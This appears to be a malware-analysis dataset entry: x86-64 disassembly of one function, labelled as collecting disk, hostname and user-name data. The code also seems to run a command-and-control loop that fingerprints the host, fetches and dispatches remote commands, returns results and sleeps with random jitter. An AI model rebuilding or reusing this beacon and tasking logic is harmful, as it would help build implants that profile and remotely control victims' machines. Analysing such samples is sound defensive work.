Function at 0x2eda35878
Capabilities:
Get disk information
Get hostname
Get session user name

Disassembly:
push rbp
push rbx
sub rsp, 0x648
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x5e0], rcx
mov qword [rbp + 0x5e8], rdx
mov dword [rbp + 0x554], 0
mov dword [rbp + 0x5bc], 0
mov qword [rbp + 0x5a0], 0
lea rcx, [0x2eda40669]
call fcn.2eda37e7e
mov qword [rbp + 0x5a0], rax
lea rdx, [rbp + 0x554]
mov rax, qword [rbp + 0x5a0]
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
call rax
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call fcn.2eda37f8e
mov dword [rbp + 0x32c], 0x100
lea rdx, [rbp + 0x32c]
lea rax, [rbp + 0x330]
mov r8, rdx
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
call rax
mov dword [rbp + 0x2fc], 0x10
lea rdx, [rbp + 0x2fc]
lea rax, [rbp + 0x300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameW]
call rax
mov dword [rbp + 0xec], 0x101
lea rdx, [rbp + 0xec]
lea rax, [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameW]
call rax
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
call sub.msvcrt.dll_wcslen
lea edx, [rax + rax]
mov rax, qword [rbp + 0x5e8]
mov r8d, 0xffffffff
mov rcx, rax
call fcn.2eda325a0
mov edx, dword [rbp + 0x554]
xor eax, edx
mov dword [rbp + 0x548], eax
mov eax, dword [rbp + 0x2fc]
lea edx, [rax + rax]
lea rax, [rbp + 0x300]
mov r8d, 0xffffffff
mov rcx, rax
call fcn.2eda325a0
mov ebx, eax
mov eax, dword [rbp + 0xec]
lea edx, [rax + rax]
lea rax, [rbp + 0xf0]
mov r8d, 0xffffffff
mov rcx, rax
call fcn.2eda325a0
xor eax, ebx
mov dword [rbp + 0x54c], eax
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.2eda369f0
lea rcx, [0x2eda3f120]
call fcn.2eda37d70
mov qword [rbp + 0x598], rax
lea r9, [rbp + 0x300]
lea r8, [rbp + 0x330]
lea rdx, [rbp + 0x530]
lea rax, [rbp + 0x548]
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], 1
mov rcx, qword [rbp + 0x598]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0xf0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.2eda33271
mov qword [rbp + 0x590], rax
cmp qword [rbp + 0x590], 0
je 0x2eda36314
mov edx, dword [rbp + 0xe0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call fcn.2eda331c1
mov qword [rbp + 0x588], rax
cmp qword [rbp + 0x588], 0
je 0x2eda36305
jmp 0x2eda362e9
lea rcx, section..data
call fcn.2eda37e7e
mov qword [rbp + 0x580], rax
lea rcx, [0x2eda3f0e0]
call fcn.2eda37e7e
mov qword [rbp + 0x578], rax
mov eax, dword [0x2eda3f1bc]
movzx r8d, ax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x580]
mov dword [rsp + 0x48], 0
lea rcx, [rbp + 0xe8]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov rcx, qword [rbp + 0x588]
mov qword [rsp + 0x28], rcx
lea rcx, [0x2eda40678]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov rcx, rax
call fcn.2eda32620
mov qword [rbp + 0x570], rax
cmp qword [rbp + 0x570], 0
je 0x2eda362ad
mov eax, dword [rbp + 0xe8]
cmp eax, 4
jbe 0x2eda362ad
mov rax, qword [rbp + 0x598]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rcx, rax
mov rdx, qword [rbp + 0x598]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.2eda36f18
mov eax, dword [rbp + 0xe8]
mov r8d, eax
mov rcx, qword [rbp + 0x570]
mov rdx, qword [rbp + 0x570]
lea rax, [rbp - 0x30]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.2eda36fe7
mov eax, dword [rbp + 0xe8]
lea edx, [rax - 4]
mov rax, qword [rbp + 0x570]
add rax, 4
mov r8d, 0
mov rcx, rax
call fcn.2eda325a0
mov rdx, qword [rbp + 0x570]
mov edx, dword [rdx]
cmp eax, edx
jne 0x2eda3629e
mov rax, qword [rbp + 0x570]
mov eax, dword [rax + 4]
mov dword [rbp + 0x56c], eax
mov rax, qword [rbp + 0x570]
add rax, 8
mov qword [rbp + 0x5b0], rax
mov dword [rbp + 0x5ac], 0
jmp 0x2eda3628c
mov rax, qword [rbp + 0x5b0]
mov eax, dword [rax]
cmp eax, 0xa
ja case.0x2eda35c5c.0
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x2eda4067c]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x2eda4067c]
add rax, rdx
jmp rax
mov rax, qword [rbp + 0x5b0]
add rax, 4
mov edx, dword [rax]
mov r8, qword [rbp + 0x598]
lea rax, [rbp + 0x548]
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov rcx, rax
call fcn.2eda3360d
mov qword [rbp + 0x560], rax
cmp qword [rbp + 0x560], 0
je 0x2eda35d42
mov ecx, dword [rbp + 0xe0]
mov eax, dword [0x2eda3f1bc]
movzx r10d, ax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x580]
mov dword [rsp + 0x48], 0
lea r8, [rbp + 0xe4]
mov qword [rsp + 0x40], r8
mov dword [rsp + 0x38], ecx
mov rcx, qword [rbp + 0x560]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rbp + 0x588]
mov qword [rsp + 0x28], rcx
lea rcx, [0x2eda40678]
mov qword [rsp + 0x20], rcx
mov r9d, 2
mov r8d, r10d
mov rcx, rax
call fcn.2eda32620
mov qword [rbp + 0x558], rax
cmp qword [rbp + 0x558], 0
je 0x2eda35d33
mov rax, qword [rbp + 0x558]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x560]
mov rcx, rax
call fcn.2eda369bb
add qword [rbp + 0x5b0], 8
jmp 0x2eda36285
mov rax, qword [rbp + 0x5b0]
add rax, 4
mov edx, dword [rax]
mov r8, qword [rbp + 0x598]
lea rax, [rbp + 0x548]
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov rcx, rax
call fcn.2eda33bd0
mov qword [rbp + 0x560], rax
cmp qword [rbp + 0x560], 0
je 0x2eda35e33
mov ecx, dword [rbp + 0xe0]
mov eax, dword [0x2eda3f1bc]
movzx r10d, ax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x580]
mov dword [rsp + 0x48], 0
lea r8, [rbp + 0xe4]
mov qword [rsp + 0x40], r8
mov dword [rsp + 0x38], ecx
mov rcx, qword [rbp + 0x560]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rbp + 0x588]
mov qword [rsp + 0x28], rcx
lea rcx, [0x2eda40678]
mov qword [rsp + 0x20], rcx
mov r9d, 2
mov r8d, r10d
mov rcx, rax
call fcn.2eda32620
mov qword [rbp + 0x558], rax
cmp qword [rbp + 0x558], 0
je 0x2eda35e24
mov rax, qword [rbp + 0x558]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x560]
mov rcx, rax
call fcn.2eda369bb
add qword [rbp + 0x5b0], 8
jmp 0x2eda36285
mov rax, qword [rbp + 0x5b0]
add rax, 4
mov edx, dword [rax]
mov r8, qword [rbp + 0x598]
lea rax, [rbp + 0x548]
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov rcx, rax
call fcn.2eda343bc
mov qword [rbp + 0x560], rax
cmp qword [rbp + 0x560], 0
je 0x2eda35f24
mov ecx, dword [rbp + 0xe0]
mov eax, dword [0x2eda3f1bc]
movzx r10d, ax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x580]
mov dword [rsp + 0x48], 0
lea r8, [rbp + 0xe4]
mov qword [rsp + 0x40], r8
mov dword [rsp + 0x38], ecx
mov rcx, qword [rbp + 0x560]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rbp + 0x588]
mov qword [rsp + 0x28], rcx
lea rcx, [0x2eda40678]
mov qword [rsp + 0x20], rcx
mov r9d, 2
mov r8d, r10d
mov rcx, rax
call fcn.2eda32620
mov qword [rbp + 0x558], rax
cmp qword [rbp + 0x558], 0
je 0x2eda35f15
mov rax, qword [rbp + 0x558]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x560]
mov rcx, rax
call fcn.2eda369bb
add qword [rbp + 0x5b0], 8
jmp 0x2eda36285
mov rax, qword [rbp + 0x5b0]
lea r10, [rax + 0x10]
mov rax, qword [rbp + 0x5b0]
add rax, 4
mov edx, dword [rax]
mov r8, qword [rbp + 0x598]
lea rax, [rbp + 0x548]
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 1
mov r9, r8
mov r8, r10
mov rcx, rax
call fcn.2eda350ab
mov qword [rbp + 0x560], rax
cmp qword [rbp + 0x560], 0
je 0x2eda36028
mov ecx, dword [rbp + 0xe0]
mov eax, dword [0x2eda3f1bc]
movzx r10d, ax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x580]
mov dword [rsp + 0x48], 0
lea r8, [rbp + 0xe4]
mov qword [rsp + 0x40], r8
mov dword [rsp + 0x38], ecx
mov rcx, qword [rbp + 0x560]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rbp + 0x588]
mov qword [rsp + 0x28], rcx
lea rcx, [0x2eda40678]
mov qword [rsp + 0x20], rcx
mov r9d, 2
mov r8d, r10d
mov rcx, rax
call fcn.2eda32620
mov qword [rbp + 0x558], rax
cmp qword [rbp + 0x558], 0
je 0x2eda36019
mov rax, qword [rbp + 0x558]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x560]
mov rcx, rax
call fcn.2eda369bb
add qword [rbp + 0x5b0], 0x10
jmp 0x2eda36285
mov rax, qword [rbp + 0x5b0]
add rax, 0x14
mov ecx, dword [rax]
mov rax, qword [rbp + 0x5b0]
add rax, 0x10
mov eax, dword [rax]
mov eax, eax
lea rdx, [rax - 8]
mov rax, qword [rbp + 0x5b0]
lea r9, [rdx + rax]
mov rax, qword [rbp + 0x5b0]
lea r10, [rax + 0x18]
mov rax, qword [rbp + 0x5b0]
add rax, 4
mov edx, dword [rax]
lea rax, [rbp + 0x548]
lea r8, [rbp + 0xe0]
mov qword [rsp + 0x38], r8
mov dword [rsp + 0x30], 1
mov r8, qword [rbp + 0x598]
mov qword [rsp + 0x28], r8
mov dword [rsp + 0x20], ecx
mov r8, r10
mov rcx, rax
call fcn.2eda34706
mov qword [rbp + 0x560], rax
cmp qword [rbp + 0x560], 0
je 0x2eda3615d
mov ecx, dword [rbp + 0xe0]
mov eax, dword [0x2eda3f1bc]
movzx r10d, ax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x580]
mov dword [rsp + 0x48], 0
lea r8, [rbp + 0xe4]
mov qword [rsp + 0x40], r8
mov dword [rsp + 0x38], ecx
mov rcx, qword [rbp + 0x560]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rbp + 0x588]
mov qword [rsp + 0x28], rcx
lea rcx, [0x2eda40678]
mov qword [rsp + 0x20], rcx
mov r9d, 2
mov r8d, r10d
mov rcx, rax
call fcn.2eda32620
mov qword [rbp + 0x558], rax
cmp qword [rbp + 0x558], 0
je 0x2eda3614e
mov rax, qword [rbp + 0x558]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x560]
mov rcx, rax
call fcn.2eda369bb
add qword [rbp + 0x5b0], 0x10
jmp 0x2eda36285
mov rax, qword [rbp + 0x5b0]
lea r10, [rax + 0x10]
mov rax, qword [rbp + 0x5b0]
add rax, 4
mov edx, dword [rax]
mov r8, qword [rbp + 0x598]
lea rax, [rbp + 0x548]
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 1
mov r9, r8
mov r8, r10
mov rcx, rax
call fcn.2eda34aeb
mov qword [rbp + 0x560], rax
cmp qword [rbp + 0x560], 0
je 0x2eda36261
mov ecx, dword [rbp + 0xe0]
mov eax, dword [0x2eda3f1bc]
movzx r10d, ax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x580]
mov dword [rsp + 0x48], 0
lea r8, [rbp + 0xe4]
mov qword [rsp + 0x40], r8
mov dword [rsp + 0x38], ecx
mov rcx, qword [rbp + 0x560]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rbp + 0x588]
mov qword [rsp + 0x28], rcx
lea rcx, [0x2eda40678]
mov qword [rsp + 0x20], rcx
mov r9d, 2
mov r8d, r10d
mov rcx, rax
call fcn.2eda32620
mov qword [rbp + 0x558], rax
cmp qword [rbp + 0x558], 0
je 0x2eda36252
mov rax, qword [rbp + 0x558]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x560]
mov rcx, rax
call fcn.2eda369bb
add qword [rbp + 0x5b0], 8
jmp 0x2eda36285
call fcn.2eda3632e
mov dword [rbp + 0x5bc], 1
add qword [rbp + 0x5b0], 8
jmp 0x2eda36285
nop
add dword [rbp + 0x5ac], 1
mov eax, dword [rbp + 0x5ac]
cmp eax, dword [rbp + 0x56c]
jb 0x2eda35c2a
mov rax, qword [rbp + 0x570]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x578]
mov rcx, rax
call fcn.2eda37f8e
mov rax, qword [rbp + 0x580]
mov rcx, rax
call fcn.2eda37f8e
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
and eax, 0xfff
add eax, 0xbb8
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
cmp dword [rbp + 0x5bc], 0
je 0x2eda35ac8
mov rax, qword [rbp + 0x588]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x590]
mov rcx, rax
call fcn.2eda369bb
mov rax, qword [rbp + 0x598]
mov rcx, rax
call fcn.2eda37f8e
nop
add rsp, 0x648
pop rbx
pop rbp
ret